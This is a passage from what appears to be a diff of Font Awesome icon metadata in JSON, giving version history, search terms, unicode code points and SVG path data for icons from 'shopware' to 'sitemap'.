"0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M528.12 301.319l47.273-208C578.806 78.301 567.391 64 551.99 64H159.208l-9.166-44.81C147.758 8.021 137.93 0 126.529 0H24C10.745 0 0 10.745 0 24v16c0 13.255 10.745 24 24 24h69.883l70.248 343.435C147.325 417.1 136 435.222 136 456c0 30.928 25.072 56 56 56s56-25.072 56-56c0-15.674-6.447-29.835-16.824-40h209.647C430.447 426.165 424 440.326 424 456c0 30.928 25.072 56 56 56s56-25.072 56-56c0-22.172-12.888-41.332-31.579-50.405l5.517-24.276c3.413-15.018-8.002-29.319-23.403-29.319H218.117l-6.545-32h293.145c11.206 0 20.92-7.754 23.403-18.681z" + } + }, + "free": [ + "solid" + ] + }, + "shopware": { + "changes": [ + "5.1.0", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f5b5", + "label": "Shopware", + "voted": false, + "svg": { + "brands": { + "last_modified": 1558987775913, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M403.5 455.41A246.17 246.17 0 0 1 256 504C118.81 504 8 393 8 256 8 118.81 119 8 256 8a247.39 247.39 0 0 1 165.7 63.5 3.57 3.57 0 0 1-2.86 6.18A418.62 418.62 0 0 0 362.13 74c-129.36 0-222.4 53.47-222.4 155.35 0 109 92.13 145.88 176.83 178.73 33.64 13 65.4 25.36 87 41.59a3.58 3.58 0 0 1 0 5.72zM503 233.09a3.64 3.64 0 0 0-1.27-2.44c-51.76-43-93.62-60.48-144.48-60.48-84.13 0-80.25 52.17-80.25 53.63 0 42.6 52.06 62 112.34 84.49 31.07 11.59 63.19 23.57 92.68 39.93a3.57 3.57 0 0 0 5-1.82A249 249 0 0 0 503 233.09z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M403.5 455.41A246.17 246.17 0 0 1 256 504C118.81 504 8 393 8 256 8 118.81 119 8 256 8a247.39 247.39 0 0 1 165.7 63.5 3.57 3.57 0 0 1-2.86 6.18A418.62 418.62 0 0 0 362.13 74c-129.36 0-222.4 53.47-222.4 155.35 0 109 92.13 145.88 176.83 178.73 33.64 13 65.4 25.36 87 41.59a3.58 3.58 0 0 1 0 5.72zM503 233.09a3.64 3.64 0 0 0-1.27-2.44c-51.76-43-93.62-60.48-144.48-60.48-84.13 0-80.25 52.17-80.25 53.63 0 42.6 52.06 62 112.34 84.49 31.07 11.59 63.19 23.57 92.68 39.93a3.57 3.57 0 0 0 5-1.82A249 249 0 0 0 503 233.09z" + } + }, + "free": [ + "brands" + ] + }, + "shower": { + "changes": [ + "4.7", + "5.0.0", + "5.12.0" + ], + "ligatures": [], + "search": { + "terms": [ + "bath", + "clean", + "faucet", + "water" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f2cc", + "label": "Shower", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635692, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M304,320a16,16,0,1,0,16,16A16,16,0,0,0,304,320Zm32-96a16,16,0,1,0,16,16A16,16,0,0,0,336,224Zm32,64a16,16,0,1,0-16-16A16,16,0,0,0,368,288Zm-32,32a16,16,0,1,0-16-16A16,16,0,0,0,336,320Zm-32-64a16,16,0,1,0,16,16A16,16,0,0,0,304,256Zm128-32a16,16,0,1,0-16-16A16,16,0,0,0,432,224Zm-48,16a16,16,0,1,0,16-16A16,16,0,0,0,384,240Zm-16-48a16,16,0,1,0,16,16A16,16,0,0,0,368,192Zm96,32a16,16,0,1,0,16,16A16,16,0,0,0,464,224Zm32-32a16,16,0,1,0,16,16A16,16,0,0,0,496,192Zm-64,64a16,16,0,1,0,16,16A16,16,0,0,0,432,256Zm-32,32a16,16,0,1,0,16,16A16,16,0,0,0,400,288Zm-64,64a16,16,0,1,0,16,16A16,16,0,0,0,336,352Zm-32,32a16,16,0,1,0,16,16A16,16,0,0,0,304,384Zm64-64a16,16,0,1,0,16,16A16,16,0,0,0,368,320Zm21.65-218.35-11.3-11.31a16,16,0,0,0-22.63,0L350.05,96A111.19,111.19,0,0,0,272,64c-19.24,0-37.08,5.3-52.9,13.85l-10-10A121.72,121.72,0,0,0,123.44,32C55.49,31.5,0,92.91,0,160.85V464a16,16,0,0,0,16,16H48a16,16,0,0,0,16-16V158.4c0-30.15,21-58.2,51-61.93a58.38,58.38,0,0,1,48.93,16.67l10,10C165.3,138.92,160,156.76,160,176a111.23,111.23,0,0,0,32,78.05l-5.66,5.67a16,16,0,0,0,0,22.62l11.3,11.31a16,16,0,0,0,22.63,0L389.65,124.28A16,16,0,0,0,389.65,101.65Z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M304,320a16,16,0,1,0,16,16A16,16,0,0,0,304,320Zm32-96a16,16,0,1,0,16,16A16,16,0,0,0,336,224Zm32,64a16,16,0,1,0-16-16A16,16,0,0,0,368,288Zm-32,32a16,16,0,1,0-16-16A16,16,0,0,0,336,320Zm-32-64a16,16,0,1,0,16,16A16,16,0,0,0,304,256Zm128-32a16,16,0,1,0-16-16A16,16,0,0,0,432,224Zm-48,16a16,16,0,1,0,16-16A16,16,0,0,0,384,240Zm-16-48a16,16,0,1,0,16,16A16,16,0,0,0,368,192Zm96,32a16,16,0,1,0,16,16A16,16,0,0,0,464,224Zm32-32a16,16,0,1,0,16,16A16,16,0,0,0,496,192Zm-64,64a16,16,0,1,0,16,16A16,16,0,0,0,432,256Zm-32,32a16,16,0,1,0,16,16A16,16,0,0,0,400,288Zm-64,64a16,16,0,1,0,16,16A16,16,0,0,0,336,352Zm-32,32a16,16,0,1,0,16,16A16,16,0,0,0,304,384Zm64-64a16,16,0,1,0,16,16A16,16,0,0,0,368,320Zm21.65-218.35-11.3-11.31a16,16,0,0,0-22.63,0L350.05,96A111.19,111.19,0,0,0,272,64c-19.24,0-37.08,5.3-52.9,13.85l-10-10A121.72,121.72,0,0,0,123.44,32C55.49,31.5,0,92.91,0,160.85V464a16,16,0,0,0,16,16H48a16,16,0,0,0,16-16V158.4c0-30.15,21-58.2,51-61.93a58.38,58.38,0,0,1,48.93,16.67l10,10C165.3,138.92,160,156.76,160,176a111.23,111.23,0,0,0,32,78.05l-5.66,5.67a16,16,0,0,0,0,22.62l11.3,11.31a16,16,0,0,0,22.63,0L389.65,124.28A16,16,0,0,0,389.65,101.65Z" + } + }, + "free": [ + "solid" + ] + }, + "shuttle-van": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "airport", + "machine", + "public-transportation", + "transportation", + "travel", + "vehicle" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5b6", + "label": "Shuttle Van", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635693, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M628.88 210.65L494.39 49.27A48.01 48.01 0 0 0 457.52 32H32C14.33 32 0 46.33 0 64v288c0 17.67 14.33 32 32 32h32c0 53.02 42.98 96 96 96s96-42.98 96-96h128c0 53.02 42.98 96 96 96s96-42.98 96-96h32c17.67 0 32-14.33 32-32V241.38c0-11.23-3.94-22.1-11.12-30.73zM64 192V96h96v96H64zm96 240c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm160-240h-96V96h96v96zm160 240c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm-96-240V96h66.02l80 96H384z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M628.88 210.65L494.39 49.27A48.01 48.01 0 0 0 457.52 32H32C14.33 32 0 46.33 0 64v288c0 17.67 14.33 32 32 32h32c0 53.02 42.98 96 96 96s96-42.98 96-96h128c0 53.02 42.98 96 96 96s96-42.98 96-96h32c17.67 0 32-14.33 32-32V241.38c0-11.23-3.94-22.1-11.12-30.73zM64 192V96h96v96H64zm96 240c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm160-240h-96V96h96v96zm160 240c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm-96-240V96h66.02l80 96H384z" + } + }, + "free": [ + "solid" + ] + }, + "sign": { + "changes": [ + "5.0.9" + ], + "ligatures": [], + "search": { + "terms": [ + "directions", + "real estate", + "signage", + "wayfinding" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f4d9", + "label": "Sign", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635695, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M496 64H128V16c0-8.8-7.2-16-16-16H80c-8.8 0-16 7.2-16 16v48H16C7.2 64 0 71.2 0 80v32c0 8.8 7.2 16 16 16h48v368c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V128h368c8.8 0 16-7.2 16-16V80c0-8.8-7.2-16-16-16zM160 384h320V160H160v224z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M496 64H128V16c0-8.8-7.2-16-16-16H80c-8.8 0-16 7.2-16 16v48H16C7.2 64 0 71.2 0 80v32c0 8.8 7.2 16 16 16h48v368c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V128h368c8.8 0 16-7.2 16-16V80c0-8.8-7.2-16-16-16zM160 384h320V160H160v224z" + } + }, + "free": [ + "solid" + ] + }, + "sign-in-alt": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrow", + "enter", + "join", + "log in", + "login", + "sign in", + "sign up", + "sign-in", + "signin", + "signup" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f2f6", + "label": "Alternate Sign In", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635694, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M416 448h-84c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h84c17.7 0 32-14.3 32-32V160c0-17.7-14.3-32-32-32h-84c-6.6 0-12-5.4-12-12V76c0-6.6 5.4-12 12-12h84c53 0 96 43 96 96v192c0 53-43 96-96 96zm-47-201L201 79c-15-15-41-4.5-41 17v96H24c-13.3 0-24 10.7-24 24v96c0 13.3 10.7 24 24 24h136v96c0 21.5 26 32 41 17l168-168c9.3-9.4 9.3-24.6 0-34z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M416 448h-84c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h84c17.7 0 32-14.3 32-32V160c0-17.7-14.3-32-32-32h-84c-6.6 0-12-5.4-12-12V76c0-6.6 5.4-12 12-12h84c53 0 96 43 96 96v192c0 53-43 96-96 96zm-47-201L201 79c-15-15-41-4.5-41 17v96H24c-13.3 0-24 10.7-24 24v96c0 13.3 10.7 24 24 24h136v96c0 21.5 26 32 41 17l168-168c9.3-9.4 9.3-24.6 0-34z" + } + }, + "free": [ + "solid" + ] + }, + "sign-language": { + "changes": [ + "4.6", + "5.0.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "Translate", + "asl", + "deaf", + "hands" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f2a7", + "label": "Sign Language", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635695, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M91.434 483.987c-.307-16.018 13.109-29.129 29.13-29.129h62.293v-5.714H56.993c-16.021 0-29.437-13.111-29.13-29.129C28.16 404.491 40.835 392 56.428 392h126.429v-5.714H29.136c-16.021 0-29.437-13.111-29.13-29.129.297-15.522 12.973-28.013 28.566-28.013h154.286v-5.714H57.707c-16.021 0-29.437-13.111-29.13-29.129.297-15.522 12.973-28.013 28.566-28.013h168.566l-31.085-22.606c-12.762-9.281-15.583-27.149-6.302-39.912 9.281-12.761 27.15-15.582 39.912-6.302l123.361 89.715a34.287 34.287 0 0 1 14.12 27.728v141.136c0 15.91-10.946 29.73-26.433 33.374l-80.471 18.934a137.16 137.16 0 0 1-31.411 3.646H120c-15.593-.001-28.269-12.492-28.566-28.014zm73.249-225.701h36.423l-11.187-8.136c-18.579-13.511-20.313-40.887-3.17-56.536l-13.004-16.7c-9.843-12.641-28.43-15.171-40.88-5.088-12.065 9.771-14.133 27.447-4.553 39.75l36.371 46.71zm283.298-2.103l-5.003-152.452c-.518-15.771-13.722-28.136-29.493-27.619-15.773.518-28.137 13.722-27.619 29.493l1.262 38.415L283.565 11.019c-9.58-12.303-27.223-14.63-39.653-5.328-12.827 9.599-14.929 28.24-5.086 40.881l76.889 98.745-4.509 3.511-94.79-121.734c-9.58-12.303-27.223-14.63-39.653-5.328-12.827 9.599-14.929 28.24-5.086 40.881l94.443 121.288-4.509 3.511-77.675-99.754c-9.58-12.303-27.223-14.63-39.653-5.328-12.827 9.599-14.929 28.24-5.086 40.881l52.053 66.849c12.497-8.257 29.055-8.285 41.69.904l123.36 89.714c10.904 7.93 17.415 20.715 17.415 34.198v16.999l61.064-47.549a34.285 34.285 0 0 0 13.202-28.177z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M91.434 483.987c-.307-16.018 13.109-29.129 29.13-29.129h62.293v-5.714H56.993c-16.021 0-29.437-13.111-29.13-29.129C28.16 404.491 40.835 392 56.428 392h126.429v-5.714H29.136c-16.021 0-29.437-13.111-29.13-29.129.297-15.522 12.973-28.013 28.566-28.013h154.286v-5.714H57.707c-16.021 0-29.437-13.111-29.13-29.129.297-15.522 12.973-28.013 28.566-28.013h168.566l-31.085-22.606c-12.762-9.281-15.583-27.149-6.302-39.912 9.281-12.761 27.15-15.582 39.912-6.302l123.361 89.715a34.287 34.287 0 0 1 14.12 27.728v141.136c0 15.91-10.946 29.73-26.433 33.374l-80.471 18.934a137.16 137.16 0 0 1-31.411 3.646H120c-15.593-.001-28.269-12.492-28.566-28.014zm73.249-225.701h36.423l-11.187-8.136c-18.579-13.511-20.313-40.887-3.17-56.536l-13.004-16.7c-9.843-12.641-28.43-15.171-40.88-5.088-12.065 9.771-14.133 27.447-4.553 39.75l36.371 46.71zm283.298-2.103l-5.003-152.452c-.518-15.771-13.722-28.136-29.493-27.619-15.773.518-28.137 13.722-27.619 29.493l1.262 38.415L283.565 11.019c-9.58-12.303-27.223-14.63-39.653-5.328-12.827 9.599-14.929 28.24-5.086 40.881l76.889 98.745-4.509 3.511-94.79-121.734c-9.58-12.303-27.223-14.63-39.653-5.328-12.827 9.599-14.929 28.24-5.086 40.881l94.443 121.288-4.509 3.511-77.675-99.754c-9.58-12.303-27.223-14.63-39.653-5.328-12.827 9.599-14.929 28.24-5.086 40.881l52.053 66.849c12.497-8.257 29.055-8.285 41.69.904l123.36 89.714c10.904 7.93 17.415 20.715 17.415 34.198v16.999l61.064-47.549a34.285 34.285 0 0 0 13.202-28.177z" + } + }, + "free": [ + "solid" + ] + }, + "sign-out-alt": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrow", + "exit", + "leave", + "log out", + "logout", + "sign-out" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f2f5", + "label": "Alternate Sign Out", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635695, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M497 273L329 441c-15 15-41 4.5-41-17v-96H152c-13.3 0-24-10.7-24-24v-96c0-13.3 10.7-24 24-24h136V88c0-21.4 25.9-32 41-17l168 168c9.3 9.4 9.3 24.6 0 34zM192 436v-40c0-6.6-5.4-12-12-12H96c-17.7 0-32-14.3-32-32V160c0-17.7 14.3-32 32-32h84c6.6 0 12-5.4 12-12V76c0-6.6-5.4-12-12-12H96c-53 0-96 43-96 96v192c0 53 43 96 96 96h84c6.6 0 12-5.4 12-12z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M497 273L329 441c-15 15-41 4.5-41-17v-96H152c-13.3 0-24-10.7-24-24v-96c0-13.3 10.7-24 24-24h136V88c0-21.4 25.9-32 41-17l168 168c9.3 9.4 9.3 24.6 0 34zM192 436v-40c0-6.6-5.4-12-12-12H96c-17.7 0-32-14.3-32-32V160c0-17.7 14.3-32 32-32h84c6.6 0 12-5.4 12-12V76c0-6.6-5.4-12-12-12H96c-53 0-96 43-96 96v192c0 53 43 96 96 96h84c6.6 0 12-5.4 12-12z" + } + }, + "free": [ + "solid" + ] + }, + "signal": { + "changes": [ + "1", + "5.0.0", + "5.3.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "bars", + "graph", + "online", + "reception", + "status" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f012", + "label": "signal", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635698, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M216 288h-48c-8.84 0-16 7.16-16 16v192c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V304c0-8.84-7.16-16-16-16zM88 384H40c-8.84 0-16 7.16-16 16v96c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16v-96c0-8.84-7.16-16-16-16zm256-192h-48c-8.84 0-16 7.16-16 16v288c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V208c0-8.84-7.16-16-16-16zm128-96h-48c-8.84 0-16 7.16-16 16v384c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V112c0-8.84-7.16-16-16-16zM600 0h-48c-8.84 0-16 7.16-16 16v480c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V16c0-8.84-7.16-16-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M216 288h-48c-8.84 0-16 7.16-16 16v192c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V304c0-8.84-7.16-16-16-16zM88 384H40c-8.84 0-16 7.16-16 16v96c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16v-96c0-8.84-7.16-16-16-16zm256-192h-48c-8.84 0-16 7.16-16 16v288c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V208c0-8.84-7.16-16-16-16zm128-96h-48c-8.84 0-16 7.16-16 16v384c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V112c0-8.84-7.16-16-16-16zM600 0h-48c-8.84 0-16 7.16-16 16v480c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V16c0-8.84-7.16-16-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "signature": { + "changes": [ + "5.1.0", + "5.6.0" + ], + "ligatures": [], + "search": { + "terms": [ + "John Hancock", + "cursive", + "name", + "writing" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5b7", + "label": "Signature", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635698, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M623.2 192c-51.8 3.5-125.7 54.7-163.1 71.5-29.1 13.1-54.2 24.4-76.1 24.4-22.6 0-26-16.2-21.3-51.9 1.1-8 11.7-79.2-42.7-76.1-25.1 1.5-64.3 24.8-169.5 126L192 182.2c30.4-75.9-53.2-151.5-129.7-102.8L7.4 116.3C0 121-2.2 130.9 2.5 138.4l17.2 27c4.7 7.5 14.6 9.7 22.1 4.9l58-38.9c18.4-11.7 40.7 7.2 32.7 27.1L34.3 404.1C27.5 421 37 448 64 448c8.3 0 16.5-3.2 22.6-9.4 42.2-42.2 154.7-150.7 211.2-195.8-2.2 28.5-2.1 58.9 20.6 83.8 15.3 16.8 37.3 25.3 65.5 25.3 35.6 0 68-14.6 102.3-30 33-14.8 99-62.6 138.4-65.8 8.5-.7 15.2-7.3 15.2-15.8v-32.1c.2-9.1-7.5-16.8-16.6-16.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M623.2 192c-51.8 3.5-125.7 54.7-163.1 71.5-29.1 13.1-54.2 24.4-76.1 24.4-22.6 0-26-16.2-21.3-51.9 1.1-8 11.7-79.2-42.7-76.1-25.1 1.5-64.3 24.8-169.5 126L192 182.2c30.4-75.9-53.2-151.5-129.7-102.8L7.4 116.3C0 121-2.2 130.9 2.5 138.4l17.2 27c4.7 7.5 14.6 9.7 22.1 4.9l58-38.9c18.4-11.7 40.7 7.2 32.7 27.1L34.3 404.1C27.5 421 37 448 64 448c8.3 0 16.5-3.2 22.6-9.4 42.2-42.2 154.7-150.7 211.2-195.8-2.2 28.5-2.1 58.9 20.6 83.8 15.3 16.8 37.3 25.3 65.5 25.3 35.6 0 68-14.6 102.3-30 33-14.8 99-62.6 138.4-65.8 8.5-.7 15.2-7.3 15.2-15.8v-32.1c.2-9.1-7.5-16.8-16.6-16.2z" + } + }, + "free": [ + "solid" + ] + }, + "sim-card": { + "changes": [ + "5.6.0", + "5.8.2", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "hard drive", + "hardware", + "portable", + "storage", + "technology", + "tiny" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f7c4", + "label": "SIM Card", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635699, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M0 64v384c0 35.3 28.7 64 64 64h256c35.3 0 64-28.7 64-64V128L256 0H64C28.7 0 0 28.7 0 64zm224 192h-64v-64h64v64zm96 0h-64v-64h32c17.7 0 32 14.3 32 32v32zm-64 128h64v32c0 17.7-14.3 32-32 32h-32v-64zm-96 0h64v64h-64v-64zm-96 0h64v64H96c-17.7 0-32-14.3-32-32v-32zm0-96h256v64H64v-64zm0-64c0-17.7 14.3-32 32-32h32v64H64v-32z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M0 64v384c0 35.3 28.7 64 64 64h256c35.3 0 64-28.7 64-64V128L256 0H64C28.7 0 0 28.7 0 64zm224 192h-64v-64h64v64zm96 0h-64v-64h32c17.7 0 32 14.3 32 32v32zm-64 128h64v32c0 17.7-14.3 32-32 32h-32v-64zm-96 0h64v64h-64v-64zm-96 0h64v64H96c-17.7 0-32-14.3-32-32v-32zm0-96h256v64H64v-64zm0-64c0-17.7 14.3-32 32-32h32v64H64v-32z" + } + }, + "free": [ + "solid" + ] + }, + "simplybuilt": { + "changes": [ + "4.3", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f215", + "label": "SimplyBuilt", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861020, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M481.2 64h-106c-14.5 0-26.6 11.8-26.6 26.3v39.6H163.3V90.3c0-14.5-12-26.3-26.6-26.3h-106C16.1 64 4.3 75.8 4.3 90.3v331.4c0 14.5 11.8 26.3 26.6 26.3h450.4c14.8 0 26.6-11.8 26.6-26.3V90.3c-.2-14.5-12-26.3-26.7-26.3zM149.8 355.8c-36.6 0-66.4-29.7-66.4-66.4 0-36.9 29.7-66.6 66.4-66.6 36.9 0 66.6 29.7 66.6 66.6 0 36.7-29.7 66.4-66.6 66.4zm212.4 0c-36.9 0-66.6-29.7-66.6-66.6 0-36.6 29.7-66.4 66.6-66.4 36.6 0 66.4 29.7 66.4 66.4 0 36.9-29.8 66.6-66.4 66.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M481.2 64h-106c-14.5 0-26.6 11.8-26.6 26.3v39.6H163.3V90.3c0-14.5-12-26.3-26.6-26.3h-106C16.1 64 4.3 75.8 4.3 90.3v331.4c0 14.5 11.8 26.3 26.6 26.3h450.4c14.8 0 26.6-11.8 26.6-26.3V90.3c-.2-14.5-12-26.3-26.7-26.3zM149.8 355.8c-36.6 0-66.4-29.7-66.4-66.4 0-36.9 29.7-66.6 66.4-66.6 36.9 0 66.6 29.7 66.6 66.6 0 36.7-29.7 66.4-66.6 66.4zm212.4 0c-36.9 0-66.6-29.7-66.6-66.6 0-36.6 29.7-66.4 66.6-66.4 36.6 0 66.4 29.7 66.4 66.4 0 36.9-29.8 66.6-66.4 66.6z" + } + }, + "free": [ + "brands" + ] + }, + "sink": { + "changes": [ + "5.13.0", + "5.13.1", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [ + "bathroom", + "covid-19", + "faucet", + "kitchen", + "wash" + ] + }, + "styles": [ + "solid" + ], + "unicode": "e06d", + "label": "Sink", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635699, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M32,416a96,96,0,0,0,96,96H384a96,96,0,0,0,96-96V384H32ZM496,288H400V256h64a16,16,0,0,0,16-16V224a16,16,0,0,0-16-16H384a32,32,0,0,0-32,32v48H288V96a32,32,0,0,1,64,0v16a16,16,0,0,0,16,16h32a16,16,0,0,0,16-16V96A96.16,96.16,0,0,0,300.87,1.86C255.29,10.71,224,53.36,224,99.79V288H160V240a32,32,0,0,0-32-32H48a16,16,0,0,0-16,16v16a16,16,0,0,0,16,16h64v32H16A16,16,0,0,0,0,304v32a16,16,0,0,0,16,16H496a16,16,0,0,0,16-16V304A16,16,0,0,0,496,288Z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M32,416a96,96,0,0,0,96,96H384a96,96,0,0,0,96-96V384H32ZM496,288H400V256h64a16,16,0,0,0,16-16V224a16,16,0,0,0-16-16H384a32,32,0,0,0-32,32v48H288V96a32,32,0,0,1,64,0v16a16,16,0,0,0,16,16h32a16,16,0,0,0,16-16V96A96.16,96.16,0,0,0,300.87,1.86C255.29,10.71,224,53.36,224,99.79V288H160V240a32,32,0,0,0-32-32H48a16,16,0,0,0-16,16v16a16,16,0,0,0,16,16h64v32H16A16,16,0,0,0,0,304v32a16,16,0,0,0,16,16H496a16,16,0,0,0,16-16V304A16,16,0,0,0,496,288Z" + } + }, + "free": [ + "solid" + ] + }, + "sistrix": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3ee", + "label": "SISTRIX", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861020, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 449L301.2 300.2c20-27.9 31.9-62.2 31.9-99.2 0-93.1-74.7-168.9-166.5-168.9C74.7 32 0 107.8 0 200.9s74.7 168.9 166.5 168.9c39.8 0 76.3-14.2 105-37.9l146 148.1 30.5-31zM166.5 330.8c-70.6 0-128.1-58.3-128.1-129.9S95.9 71 166.5 71s128.1 58.3 128.1 129.9-57.4 129.9-128.1 129.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M448 449L301.2 300.2c20-27.9 31.9-62.2 31.9-99.2 0-93.1-74.7-168.9-166.5-168.9C74.7 32 0 107.8 0 200.9s74.7 168.9 166.5 168.9c39.8 0 76.3-14.2 105-37.9l146 148.1 30.5-31zM166.5 330.8c-70.6 0-128.1-58.3-128.1-129.9S95.9 71 166.5 71s128.1 58.3 128.1 129.9-57.4 129.9-128.1 129.9z" + } + }, + "free": [ + "brands" + ] + }, + "sitemap": { + "changes": [ + "2", + "5.0.0", + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "directory", + "hierarchy", + "ia", + "information architecture", + "organization" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0e8", + "label": "Sitemap", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635700, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M128 352H32c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32zm-24-80h192v48h48v-48h192v48h48v-57.59c0-21.17-17.23-38.41-38.41-38.41H344v-64h40c17.67 0 32-14.33 32-32V32c0-17.67-14.33-32-32-32H256c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h40v64H94.41C73.23 224 56 241.23 56 262.41V320h48v-48zm264 80h-96c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32zm240 0h-96c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M128 352H32c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32zm-24-80h192v48h48v-48h192v48h48v-57.59c0-21.17-17.23-38.41-38.41-38.41H344v-64h40c17.67 0 32-14.33 32-32V32c0-17.67-14.33-32-32-32H256c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h40v64H94.41C73.23 224 56 241.23 